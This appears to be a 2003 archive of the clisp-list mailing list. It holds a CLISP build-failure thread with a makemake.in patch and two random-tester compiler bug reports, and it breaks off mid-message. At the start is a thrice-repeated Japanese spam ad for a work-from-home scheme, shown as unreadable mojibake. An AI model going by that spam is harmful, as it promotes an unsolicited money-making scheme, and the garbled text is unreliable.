Received: from [127.0.0.1] by 001 (ArGoSoft Mail Server Freeware, Version 1.8 (1.8.4.4)); Mon, 3 Nov 2003 00:46:56 +0900 To: clisp-list@lists.sourceforge.net X-Mailer: Easy DM free Message-ID: <20031102.1546550480@hot-bers.2y.net> From: hot-info MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-2022-JP X-Spam-Score: 3.9 (+++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.2 PLING_QUERY Subject has exclamation mark and question mark 2.8 JAPANESE_UCE_SUBJECT Subject contains a Japanese UCE tag 0.5 WEIRD_QUOTING BODY: Weird repeated double-quotation marks 0.4 DATE_IN_PAST_12_24 Date: is 12 to 24 hours before Received: date Subject: [clisp-list] =?ISO-2022-JP?B?GyRCTCQ+NUJ6OS05cCIoGyhCIBskQjRYPzQkTkw1JCQbKEI=?= =?ISO-2022-JP?B?GyRCSn0kSyRPQmdKUSQ0TEJPRyRyJCokKyQxQ1ckNyReJDkkLDpvGyhC?= =?ISO-2022-JP?B?GyRCPXwyPCQ1JCQhIxsoQg==?= Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Sun Nov 2 21:35:07 2003 X-Original-Date: Mon, 03 Nov 2003 00:46:56 +0900 $BL$>5Bz9-9p"((B $B4X?4$NL5$$J}$K$OBgJQ$4LBOG$r$*$+$1CW$7$^$9$,:o=|2<$5$$!#(B $B(."""#(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,"#""(/(B $B%[%C%H%$%s%U%)%a!<%7%g%s(B($B3t!K!c(B2003.10$BH/9T!d(B $B(1"""#(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,"#""(0(B ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| $B!c;v6Hp!!Js(B $B"#"""#"""#"""#"""#"""#"""#"""#"""#"""#"""#"""#"""#"""#"""#""(B $BL$!C>5!CBz!CG[!C?.!C$N!C$*!COM!C$S!C(B $B!1(B $B!1(B $B!1(B $B!1(B $B!1(B $B!1(B $B!1(B $B!1(B $B!1(B $B!|FMA3$N9-9p%a!<%k$G<:Ni$r$*OM$S?=$7>e$2$^$9!#(B $BLBOG%a!<%k$K$J$j$^$7$?$i$4MFe$2$^$9!#(B $B!|$3$N9-9p%a!<%k$O%&%#%k%9%A%'%C%/%=%U%H$K$FK|A4$J%A%'%C%/$r$7$F$*$j$^$9!#(B $B!|J@&K!$d0-FA6H&MQ@kEA9-9p$NI=5-5AL3$K$N$C$H$j!"9-9pG[?.;~(B $B$N7oL>$K!VL$>5Bz9-9p"(!W$rI,$:I=5-$7$F$*$j$^$9$N$G!":#8e$5$l(B $B$J$$3'MM$K$O3F%a!<%k%/%i%$%"%s%H$K$F!VL$>5Bz9-9p"(!W$NpJs8+$D$1$F8+$^$7$?!*!!!z(B $B"#"#"#"#"#"#"#"#"#"#"#"#"#"#"#"#"#"#(B $B!!:#2s$N$4>R2p$O:_Bp6HL3$N2qC$5$l$k$H$7$?$i!&!&!&!&!&(B $B"$"'"$"'"$"'"$"'"$"'"$"'"$"'"$"'"$"'"$"'"$"'(B $B!v;R6!$,>.$5$/$F2H$r6u$1$i$l$J$$!&!&!&(B $B!v@h9T$-IT0B$J$N$G:#$N$&$A$K!&!&!&(B $B!v6u$$$?;~4V$G>/$7$G$bM>J,$K2T$2$l$P!&!&!&(B $B!vCOJ}$@$H$=$&$=$&;E;v$,!&!&!&(B $B!v?M4V4X78$,$&$C$H$&$7$/$F!&!&!&(B $B(.(,(/(.(,(/(.(,(/(.(,(/(.(,(/(.(,(/(.(,(/(.(,(/(.(,(/(.(,(/(B $BA4(B $BIt(B $B2r(B $B>C(B $B$5(B $B$l(B $B$k(B $B$N(B $B$K(B $B!&!&!&(B $B(1(,(0(1(,(0(1(,(0(1(,(0(1(,(0(1(,(0(1(,(0(1(,(0(1(,(0(1(,(0(B $B!!:#$^$G$N="6H%9%?%$%k$G$O$"$-$i$a$k$7$+$J$+$C$?)$7$F$$$k$N$,8=:_$N!"!X(BSOHO$B%o!<%/!Y$G$9!#(B $B!!$3$l$+$i$O!V<+J,$r<+J,$Go$K0BDjE*$J;E;v$r6!5k$9$k$3$H$,2DG=$H$J$C$F$*$j$^$9!#(B $B<}F~$O4JC1$J%G!<%?F~NO!J%Y%?BG$A!K$r(B1$B=54V(B10$B;~4VDxEY$G7n<}#5!A#6K|1_DxEY$K$7$+$J$j(B $B$^$;$s$,D9$/7xfIW$G$9!*(B $B"!>\$7$$FbMF!";qNA@A5a!JL5NA!K$O2<5-$N%[!<%`%Z!<%8$K$F3NG'2<$5$$!#"!(B $B!!!!!!!!!!!!!!!!!!!!!!!~!!(Bhttp://www.denen-soho.com/$B!!!~(B -------------------------------------------------------------------------------- $B"(;qNA@A5a5Bz9-9p"((B $B4X?4$NL5$$J}$K$OBgJQ$4LBOG$r$*$+$1CW$7$^$9$,:o=|2<$5$$!#(B $B(."""#(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,"#""(/(B $B%[%C%H%$%s%U%)%a!<%7%g%s(B($B3t!K!c(B2003.10$BH/9T!d(B $B(1"""#(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,"#""(0(B ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| $B!c;v6Hp!!Js(B $B"#"""#"""#"""#"""#"""#"""#"""#"""#"""#"""#"""#"""#"""#"""#""(B $BL$!C>5!CBz!CG[!C?.!C$N!C$*!COM!C$S!C(B $B!1(B $B!1(B $B!1(B $B!1(B $B!1(B $B!1(B $B!1(B $B!1(B $B!1(B $B!|FMA3$N9-9p%a!<%k$G<:Ni$r$*OM$S?=$7>e$2$^$9!#(B $BLBOG%a!<%k$K$J$j$^$7$?$i$4MFe$2$^$9!#(B $B!|$3$N9-9p%a!<%k$O%&%#%k%9%A%'%C%/%=%U%H$K$FK|A4$J%A%'%C%/$r$7$F$*$j$^$9!#(B $B!|J@&K!$d0-FA6H&MQ@kEA9-9p$NI=5-5AL3$K$N$C$H$j!"9-9pG[?.;~(B $B$N7oL>$K!VL$>5Bz9-9p"(!W$rI,$:I=5-$7$F$*$j$^$9$N$G!":#8e$5$l(B $B$J$$3'MM$K$O3F%a!<%k%/%i%$%"%s%H$K$F!VL$>5Bz9-9p"(!W$NpJs8+$D$1$F8+$^$7$?!*!!!z(B $B"#"#"#"#"#"#"#"#"#"#"#"#"#"#"#"#"#"#(B $B!!:#2s$N$4>R2p$O:_Bp6HL3$N2qC$5$l$k$H$7$?$i!&!&!&!&!&(B $B"$"'"$"'"$"'"$"'"$"'"$"'"$"'"$"'"$"'"$"'"$"'(B $B!v;R6!$,>.$5$/$F2H$r6u$1$i$l$J$$!&!&!&(B $B!v@h9T$-IT0B$J$N$G:#$N$&$A$K!&!&!&(B $B!v6u$$$?;~4V$G>/$7$G$bM>J,$K2T$2$l$P!&!&!&(B $B!vCOJ}$@$H$=$&$=$&;E;v$,!&!&!&(B $B!v?M4V4X78$,$&$C$H$&$7$/$F!&!&!&(B $B(.(,(/(.(,(/(.(,(/(.(,(/(.(,(/(.(,(/(.(,(/(.(,(/(.(,(/(.(,(/(B $BA4(B $BIt(B $B2r(B $B>C(B $B$5(B $B$l(B $B$k(B $B$N(B $B$K(B $B!&!&!&(B $B(1(,(0(1(,(0(1(,(0(1(,(0(1(,(0(1(,(0(1(,(0(1(,(0(1(,(0(1(,(0(B $B!!:#$^$G$N="6H%9%?%$%k$G$O$"$-$i$a$k$7$+$J$+$C$?)$7$F$$$k$N$,8=:_$N!"!X(BSOHO$B%o!<%/!Y$G$9!#(B $B!!$3$l$+$i$O!V<+J,$r<+J,$Go$K0BDjE*$J;E;v$r6!5k$9$k$3$H$,2DG=$H$J$C$F$*$j$^$9!#(B $B<}F~$O4JC1$J%G!<%?F~NO!J%Y%?BG$A!K$r(B1$B=54V(B10$B;~4VDxEY$G7n<}#5!A#6K|1_DxEY$K$7$+$J$j(B $B$^$;$s$,D9$/7xfIW$G$9!*(B $B"!>\$7$$FbMF!";qNA@A5a!JL5NA!K$O2<5-$N%[!<%`%Z!<%8$K$F3NG'2<$5$$!#"!(B $B!!!!!!!!!!!!!!!!!!!!!!!~!!(Bhttp://www.denen-soho.com/$B!!!~(B -------------------------------------------------------------------------------- $B"(;qNA@A5a5Bz9-9p"((B $B4X?4$NL5$$J}$K$OBgJQ$4LBOG$r$*$+$1CW$7$^$9$,:o=|2<$5$$!#(B $B(."""#(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,"#""(/(B $B%[%C%H%$%s%U%)%a!<%7%g%s(B($B3t!K!c(B2003.10$BH/9T!d(B $B(1"""#(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,(,"#""(0(B ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||| $B!c;v6Hp!!Js(B $B"#"""#"""#"""#"""#"""#"""#"""#"""#"""#"""#"""#"""#"""#"""#""(B $BL$!C>5!CBz!CG[!C?.!C$N!C$*!COM!C$S!C(B $B!1(B $B!1(B $B!1(B $B!1(B $B!1(B $B!1(B $B!1(B $B!1(B $B!1(B $B!|FMA3$N9-9p%a!<%k$G<:Ni$r$*OM$S?=$7>e$2$^$9!#(B $BLBOG%a!<%k$K$J$j$^$7$?$i$4MFe$2$^$9!#(B $B!|$3$N9-9p%a!<%k$O%&%#%k%9%A%'%C%/%=%U%H$K$FK|A4$J%A%'%C%/$r$7$F$*$j$^$9!#(B $B!|J@&K!$d0-FA6H&MQ@kEA9-9p$NI=5-5AL3$K$N$C$H$j!"9-9pG[?.;~(B $B$N7oL>$K!VL$>5Bz9-9p"(!W$rI,$:I=5-$7$F$*$j$^$9$N$G!":#8e$5$l(B $B$J$$3'MM$K$O3F%a!<%k%/%i%$%"%s%H$K$F!VL$>5Bz9-9p"(!W$NpJs8+$D$1$F8+$^$7$?!*!!!z(B $B"#"#"#"#"#"#"#"#"#"#"#"#"#"#"#"#"#"#(B $B!!:#2s$N$4>R2p$O:_Bp6HL3$N2qC$5$l$k$H$7$?$i!&!&!&!&!&(B $B"$"'"$"'"$"'"$"'"$"'"$"'"$"'"$"'"$"'"$"'"$"'(B $B!v;R6!$,>.$5$/$F2H$r6u$1$i$l$J$$!&!&!&(B $B!v@h9T$-IT0B$J$N$G:#$N$&$A$K!&!&!&(B $B!v6u$$$?;~4V$G>/$7$G$bM>J,$K2T$2$l$P!&!&!&(B $B!vCOJ}$@$H$=$&$=$&;E;v$,!&!&!&(B $B!v?M4V4X78$,$&$C$H$&$7$/$F!&!&!&(B $B(.(,(/(.(,(/(.(,(/(.(,(/(.(,(/(.(,(/(.(,(/(.(,(/(.(,(/(.(,(/(B $BA4(B $BIt(B $B2r(B $B>C(B $B$5(B $B$l(B $B$k(B $B$N(B $B$K(B $B!&!&!&(B $B(1(,(0(1(,(0(1(,(0(1(,(0(1(,(0(1(,(0(1(,(0(1(,(0(1(,(0(1(,(0(B $B!!:#$^$G$N="6H%9%?%$%k$G$O$"$-$i$a$k$7$+$J$+$C$?)$7$F$$$k$N$,8=:_$N!"!X(BSOHO$B%o!<%/!Y$G$9!#(B $B!!$3$l$+$i$O!V<+J,$r<+J,$Go$K0BDjE*$J;E;v$r6!5k$9$k$3$H$,2DG=$H$J$C$F$*$j$^$9!#(B $B<}F~$O4JC1$J%G!<%?F~NO!J%Y%?BG$A!K$r(B1$B=54V(B10$B;~4VDxEY$G7n<}#5!A#6K|1_DxEY$K$7$+$J$j(B $B$^$;$s$,D9$/7xfIW$G$9!*(B $B"!>\$7$$FbMF!";qNA@A5a!JL5NA!K$O2<5-$N%[!<%`%Z!<%8$K$F3NG'2<$5$$!#"!(B $B!!!!!!!!!!!!!!!!!!!!!!!~!!(Bhttp://www.denen-soho.com/$B!!!~(B -------------------------------------------------------------------------------- $B"(;qNA@A5a; Mon, 03 Nov 2003 09:54:11 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1AGiu2-0001Eq-I3 for clisp-list@lists.sourceforge.net; Mon, 03 Nov 2003 09:54:10 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id hA3Hrw511773; Mon, 3 Nov 2003 12:53:59 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: Bruno Haible Cc: Minko Markov , clisp-list@lists.sourceforge.net Reply-To: sds@gnu.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <200311031745.47568.bruno@clisp.org> (Bruno Haible's message of "Mon, 3 Nov 2003 17:45:47 +0100") References: <20031103150325.33232.qmail@web80701.mail.yahoo.com> <200311031745.47568.bruno@clisp.org> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] Re: problem with compiling clisp 2.31 on RH 9.0 (uniq fails) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Nov 3 09:55:06 2003 X-Original-Date: Mon, 03 Nov 2003 12:53:58 -0500 > * Bruno Haible [2003-11-03 17:45:47 +0100]: > >> but then "make" failed in the same way. Namely, in >> subdir avcall, "make check" fails. > > Sam, can you tell why "make" recurses into the avcall directory when > makemake was invoked without --with-dynamic-ffi? no idea. Minko should look at his build/Makefile for clues. specifically, the Makefile: target should ensure that --with-dynamic-ffi was indeed omitted. the presence of targets like avcall* and callback* will tell us whether --with-dynamic-ffi was obeyed. -- Sam Steingold (http://www.podval.org/~sds) running w2k Those who value Life above Freedom are destined to lose both. From lisp-clisp-list@m.gmane.org Mon Nov 03 16:42:59 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AGpHf-000387-00 for ; Mon, 03 Nov 2003 16:42:59 -0800 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx2.sourceforge.net with esmtp (Exim 4.24) id 1AGpHf-0001YY-5j for clisp-list@lists.sourceforge.net; Mon, 03 Nov 2003 16:42:59 -0800 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1AGpHe-0006s6-00 for ; Tue, 04 Nov 2003 01:42:58 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 1AGpHc-0006rw-00 for ; Tue, 04 Nov 2003 01:42:56 +0100 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 1AGpHc-0005zE-00 for ; Tue, 04 Nov 2003 01:42:56 +0100 From: "Paul F. Dietz" Lines: 11 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030624 X-Accept-Language: en-us, en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] (random tester) Internal assertion failure Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Mon Nov 3 16:43:30 2003 X-Original-Date: Mon, 03 Nov 2003 18:46:37 -0600 Running the random tester on 100,000 terms of size 1000, I got the following message during test case pruning: *** - internal error: statement in file "hashtabl.d", line 965 has been reached!! Please send the authors of the program a description how you produced this error! 1. Break CL-TEST[109]> Unfortunately I can't give a way to reach this point again. Paul From minkomarkov1968@yahoo.com Tue Nov 04 06:09:14 2003 Received: from sc8-sf-mx2-b.sourceforge.net ([10.3.1.12] helo=sc8-sf-mx2.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AH1ru-0005Zu-00 for ; Tue, 04 Nov 2003 06:09:14 -0800 Received: from web80704.mail.yahoo.com ([66.163.170.61]) by sc8-sf-mx2.sourceforge.net with smtp (Exim 4.24) id 1AH1ru-00081d-Bt for clisp-list@lists.sourceforge.net; Tue, 04 Nov 2003 06:09:14 -0800 Message-ID: <20031104140914.99250.qmail@web80704.mail.yahoo.com> Received: from [193.108.24.217] by web80704.mail.yahoo.com via HTTP; Tue, 04 Nov 2003 06:09:14 PST From: Minko Markov To: sds@gnu.org, Bruno Haible Cc: Minko Markov , clisp-list@lists.sourceforge.net In-Reply-To: MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 0.9 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.9 FROM_ENDS_IN_NUMS From: ends in numbers Subject: [clisp-list] Re: problem with compiling clisp 2.31 on RH 9.0 (uniq fails) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Nov 4 06:10:06 2003 X-Original-Date: Tue, 4 Nov 2003 06:09:14 -0800 (PST) Hello Sam, --- Sam Steingold wrote: > > * Bruno Haible [2003-11-03 17:45:47 +0100]: > > > >> but then "make" failed in the same way. Namely, in > >> subdir avcall, "make check" fails. > > > > Sam, can you tell why "make" recurses into the avcall directory > when > > makemake was invoked without --with-dynamic-ffi? > > no idea. Minko should look at his build/Makefile for clues. > specifically, the Makefile: target should ensure that > --with-dynamic-ffi was indeed omitted. I am not sure what you mean here. If you like, I can email you the build/Makefile. It is output by ./makemake --with-readme --with-gettext --with-dynamic-ffi --with-module=regexp > Makefile Why do you think that --with-dynamic-ffi was omitted? BTW, the patch that Bruno offered solved the compilation problem. An error in make testsuite showed up, but that is different. Regards, Minko Markov __________________________________ Do you Yahoo!? Protect your identity with Yahoo! Mail AddressGuard http://antispam.yahoo.com/whatsnewfree From sds@alphatech.com Tue Nov 04 06:17:14 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AH1ze-0006LD-00 for ; Tue, 04 Nov 2003 06:17:14 -0800 Received: from fw-ext.alphatech.com ([198.112.236.6] helo=alphatech.com) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AH1ze-0006Ss-7X for clisp-list@lists.sourceforge.net; Tue, 04 Nov 2003 06:17:14 -0800 Received: from WINSTEINGOLDLAP (winsteingoldlap-dock.alphatech.com [10.0.19.22]) by alphatech.com (8.11.7+Sun/8.11.6/check_local-4.4) with ESMTP id hA4EH5118201; Tue, 4 Nov 2003 09:17:05 -0500 (EST) X-Spam-Filter: check_local@alphatech.com 4.4(020923:1754) http://digitalanswers.org/ To: Minko Markov Cc: Bruno Haible , clisp-list@lists.sourceforge.net Reply-to: clisp-list@lists.sourceforge.net X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. Mail-Copies-To: never From: Sam Steingold In-Reply-To: <20031104140914.99250.qmail@web80704.mail.yahoo.com> (Minko Markov's message of "Tue, 4 Nov 2003 06:09:14 -0800 (PST)") References: <20031104140914.99250.qmail@web80704.mail.yahoo.com> Message-ID: User-Agent: Gnus/5.1003 (Gnus v5.10.3) Emacs/21.3.50 (windows-nt) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Spam-Score: 1.1 (+) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 1.1 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email Subject: [clisp-list] Re: problem with compiling clisp 2.31 on RH 9.0 (uniq fails) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Nov 4 06:18:05 2003 X-Original-Date: Tue, 04 Nov 2003 09:17:05 -0500 > * Minko Markov [2003-11-04 06:09:14 -0800]: > > --- Sam Steingold wrote: >> > * Bruno Haible [2003-11-03 17:45:47 +0100]: >> > >> > Sam, can you tell why "make" recurses into the avcall directory >> > when makemake was invoked without --with-dynamic-ffi? we are different from autoconf-generated configure scripts: if you pass --without-foo or --with-foo=no to a configure script, $with_foo is set to "no", but if you pass it to makemake, it is set to 0 but the checks test for an empty string. I fixed makemake.in to set it to an empty string. patch appended. to make clisp conform to autoconf, one has to change makemake.in and clisp-link.in. > BTW, the patch that Bruno offered solved the compilation problem. good - I hope Bruno will check it in. -- Sam Steingold (http://www.podval.org/~sds) running w2k .sigs are like your face - rarely seen by you and uglier than you think Index: makemake.in =================================================================== RCS file: /cvsroot/clisp/clisp/src/makemake.in,v retrieving revision 1.376 retrieving revision 1.377 diff -u -w -b -u -b -w -i -B -r1.376 -r1.377 --- makemake.in 27 Oct 2003 12:44:48 -0000 1.376 +++ makemake.in 4 Nov 2003 14:03:43 -0000 1.377 @@ -193,12 +193,17 @@ shift ;; -without-* | --without-* | -with-no* | --with-no*) + ## we are different from autoconf-generated configure scripts: + ## if you pass --without-foo or --with-foo=no to a configure script, + ## $with_foo is set to "no", but if you pass it to makemake, + ## it is set to an empty string. to fix this, one has to change + ## this file and clisp-link.in -- sds 2003-11-04 package=`echol "$1"|sed 's/-*with\(out-\|-no-*\)//'` # Delete all the valid chars; see if any are left. if test -n "`echol $package|sed 's/[-a-zA-Z0-9_]*//g'`"; then echol "makemake: $package: invalid package name" >&2; exit 1 fi - my_eval "with_`echol $package|sed s/-/_/g`=0" + my_eval "with_`echol $package|sed s/-/_/g`=" shift ;; -with-* | --with-*) @@ -206,9 +211,9 @@ packopt=`echol "${package}" | sed -e 's/^.*=\(.*\)$/\1/'` if test -z "${packopt}"; then packopt=1; elif [ "${packopt}" = "on" ]; then packopt=1; - elif [ "${packopt}" = "off" ]; then packopt=0; + elif [ "${packopt}" = "off" ]; then packopt=; elif [ "${packopt}" = "yes" ]; then packopt=1; - elif [ "${packopt}" = "no" ]; then packopt=0; + elif [ "${packopt}" = "no" ]; then packopt=; fi package=`echol "${package}" | sed -e 's/=.*//'` # Delete all the valid chars; see if any are left. From lisp-clisp-list@m.gmane.org Tue Nov 04 09:56:21 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AH5Ph-0006xX-00 for ; Tue, 04 Nov 2003 09:56:21 -0800 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-mx1.sourceforge.net with esmtp (Exim 4.24) id 1AH5Pg-0004a7-Mp for clisp-list@lists.sourceforge.net; Tue, 04 Nov 2003 09:56:20 -0800 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 1AH5Pf-00047o-00 for ; Tue, 04 Nov 2003 18:56:19 +0100 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 1AH5Pd-00047g-00 for ; Tue, 04 Nov 2003 18:56:17 +0100 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 1AH5Pd-00046W-00 for ; Tue, 04 Nov 2003 18:56:17 +0100 From: "Paul F. Dietz" Lines: 81 Message-ID: Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Complaints-To: usenet@sea.gmane.org User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.4) Gecko/20030624 X-Accept-Language: en-us, en X-Spam-Score: 0.0 (/) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 Subject: [clisp-list] (random tester) Large term causes segfault after compilation Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Tue Nov 4 09:57:08 2003 X-Original-Date: Tue, 04 Nov 2003 12:00:01 -0600 The gcl random tester came up with the following example. It segfaulted during pruning, so I pruned it manually as far as I could. It's still very large, and segfaults when called on the indicated arguments. There's a lot of apparent fluff in the code whose removal causes the segfault to disappear. This was run in CLISP built 3 Nov 2003 (around 4AM CST) from cvs head. (defparameter *fn* '(lambda (a b c) (if (not (and (or (not nil) (logbitp 22 (unwind-protect -1) )) (or a (logbitp 2 (if (ldb-test (byte 31 29) (if (= 10) -1773 a)) -2 (if (= -1) -7762 0) ))) (or (zerop (if b c 1)) (and b c (typep (+ (floor (setq c -100)) (max 26 (isqrt (identity (identity (identity (abs (ash a (min 14 (- (round 11065954 (min -35 c)))) )))))))) '(integer * 3894)) (if (or b (= -10) b) (or b a) (and (ldb-test (byte 19 27) (if (>= 10) b -2)) (typep (let* ((v1 (ldb (byte 1 5) (labels ((%f12 (f12-1 f12-2) 100 )) 11)))) (lognor 15363 (logand (logand 0 b -10) (* (lognor a (setq a -335)))))) '(integer * 7)) )))))) (let ((v2 (let* ((v1 (lognor (if b -10 b) (restart-case c) ))) 10))) (logxor (labels ((%f1 () b)) (%f1)) (if (< 0) b 0) (if b 100 0) (if c v2 0) (if (or a (= a)) (unwind-protect b) 43) (if (or b (not (and (> -3) (if (> 10) b nil)))) (if v2 (unwind-protect 100) 0) (if b 1031483 (if a (logior a) 0))) (if c -91597154 0) (if c -83394844 0) )) (logorc2 (if c 0 b) (let ((v8 (if (= -101108 b) 0 b))) (if (and (not (and (>= v8 0) (and b nil))) (> v8 b)) 0 (- c (if (< b c) (if (= b c) 0 v8) b)))))))) (defparameter *vals* '(-102 108841188293 -401434342)) (defun try () (apply (compile nil *fn*) *vals*)) ;; (try) ==> causes seg fault Paul From benjamin_e_coe@hotmail.com Thu Nov 06 19:29:57 2003 Received: from sc8-sf-mx1-b.sourceforge.net ([10.3.1.11] helo=sc8-sf-mx1.sourceforge.net) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 1AHxJt-0001rH-00 for ; Thu, 06 Nov 2003 19:29:57 -0800 Received: from cpe00079531033e-cm000039679a61.cpe.net.cable.rogers.com ([24.192.241.68] helo=192.168.2.101) by sc8-sf-mx1.sourceforge.net with smtp (Exim 4.24) id 1AHxJs-0000u8-L1 for clisp-list@lists.sourceforge.net; Thu, 06 Nov 2003 19:29:56 -0800 From: "bcoe" To: Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit Message-Id: X-Spam-Score: 3.8 (+++) X-Spam-Report: Spam Filtering performed by sourceforge.net. See http://spamassassin.org/tag/ for more details. Report problems to https://sf.net/tracker/?func=add&group_id=1&atid=200001 0.3 RCVD_NUMERIC_HELO Received: contains a numeric HELO 0.2 NORMAL_HTTP_TO_IP URI: Uses a dotted-decimal IP address in URL 3.3 MSGID_FROM_MTA_SHORT Message-Id was added by a relay Subject: [clisp-list] Correction ..Harass me back. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Nov 6 19:30:17 2003 X-Original-Date: Thu, 6 Nov 2003 22:38:41 -0500 Well the e-mail 